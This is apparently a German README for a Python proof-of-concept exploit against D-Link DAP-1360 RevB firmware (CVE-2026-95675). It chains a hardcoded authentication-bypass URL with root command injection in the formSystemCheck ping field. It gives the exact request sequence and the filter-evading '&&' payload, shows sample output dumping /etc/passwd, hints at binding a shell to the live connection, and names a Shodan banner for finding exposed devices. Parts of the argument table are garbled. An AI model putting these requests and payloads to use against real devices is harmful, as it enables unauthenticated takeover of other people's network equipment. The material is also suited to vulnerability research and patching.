
Python-PoC, das CVE-2026-95675 ausnutzt, eine unauthentifizierte Root-Befehlsinjektion in der D-Link DAP-1360 RevB Firmware über einen hardcodierten Auth-Bypass und den formSystemCheck-Handler.

Unauthentifizierte Remote-Root-Befehlsausführung (CWE-78 — OS Command Injection)
im formSystemCheck-Handler, erreichbar über eine hartcodierte
Authentifizierungs-Backdoor. Verifiziert gegen DAP-1360 RevB, Firmware 2.14B05.
Zwei unabhängige Probleme, die verkettet werden:
1. Hartcodierter Auth-Bypass-Pfad. In main (httpd @ 0x4064c8):
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn gibt 404 zurück (es ist keine echte Datei), markiert aber
als Seiteneffekt den Session-Slot der anfragenden Quell-IP als authentifiziert —
ohne Benutzername, Passwort oder Captcha.
2. OS Command Injection. formSystemCheck
(POST /apply.cgi?formSystemCheck) baut einen Shell-Befehl mit:
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
ipv4_ping wird ungefiltert in den Format-String übergeben; _system() verwendet
vsprintf in einen festen Stack-Puffer und übergibt diesen an system(). Der
Handler führt selbst keine Authentifizierungsprüfung durch.
Der busybox POST-Body-Parser entfernt ;, |, Backtick und Newline, aber
&& überlebt. Eine Payload muss das Präfix ping beenden und dann
mit && verketten, z. B.:
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| Arg | Beschreibung |
|---|---|
target | Ziel-Host/IP (Standard-Schema http://) |
command (optional) | auszuführender Root-Befehl (Standard: ); verwende , nicht /` |
GET /dEfWzDLOgIn — löst den hartcodierten Auth-Bypass aus (gibt 404 zurück; der Seiteneffekt tritt serverseitig auf).POST /apply.cgi?formSystemCheck mit ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — Root-Befehlsinjektion.GET /<OUT> — ruft die Befehlsausgabe ab (httpd liefert .htm/.html, nicht .txt).[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc, wget, base64, chmod, id — verwende cat, echo, ls, cp usw._system() verzögert, kann sh <&5 >&5 2>&5 eine Shell an die aktive Verbindung anhängen (fragil unter User-Mode-QEMU; besser auf echter Hardware).Shodan ("CAMEO-httpd", das httpd-Vendor-Banner) zeigt nur eine kleine Anzahl
internet-exponierter Instanzen genau dieser Codebasis; das Gerät ist primär ein
LAN-seitiger Access Point. Eine Ausnutzung erfordert die Erreichbarkeit der
Web-Management-Oberfläche.
cat /etc/passwd&&;